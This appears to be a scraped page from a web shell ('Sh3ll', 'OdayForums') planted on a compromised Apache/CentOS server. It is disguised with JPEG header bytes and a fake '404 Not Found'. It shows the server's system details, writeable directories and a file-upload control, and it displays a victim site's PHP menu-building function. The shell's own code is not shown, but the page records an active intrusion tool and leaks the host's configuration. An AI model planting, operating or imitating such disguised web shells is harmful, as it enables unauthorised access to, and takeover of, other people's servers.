ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/oladi/include/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/oladi/include/functions/product_function.php
<?php
function category($tree_branch, $tree_root) {
    $i=1;
    foreach($tree_branch as $id => $name) {
        $li_class_sub = $li_class_other = '';
        if(isset($tree_root[$id])){
            $li_class_sub ='parent';
        }
        if($i>=10){
            $li_class_other =' cat-link-orther';
        }
        echo '<li class="'.$li_class_sub.$li_class_other.'"><a href="/'.$name['category_fname'].'/">
                                        '.html_entity_decode($name['category_icon']).'
                                        '.$name['category_name'].'
                                    </a>';
        if(isset($tree_root[$id])){
            echo '<span class="toggle-submenu"></span>
                                    <div class="submenu">
                                        <ul class="categori-list clearfix">';
            foreach($tree_root[$id] as $id => $name){
                echo '<li class="col-sm-4"><strong class="title"><a href="/'.$name['category_fname'].'/">' . $name['category_name'] . '</a></strong>';
                if(isset($tree_root[$id])){
                    echo '<ul>';
                    foreach ($tree_root[$id] as $id => $name) {
                        echo '<li><a href="/'.$name['category_fname'].'/">' . $name['category_name'] . '</a></li>';
                    }
                    echo '</ul>';
                }
                echo '</li>';
            }
            echo '</ul></div>';
        }
        echo '</li>';
        $i++;
    }
}

?>

ZeroDay Forums Mini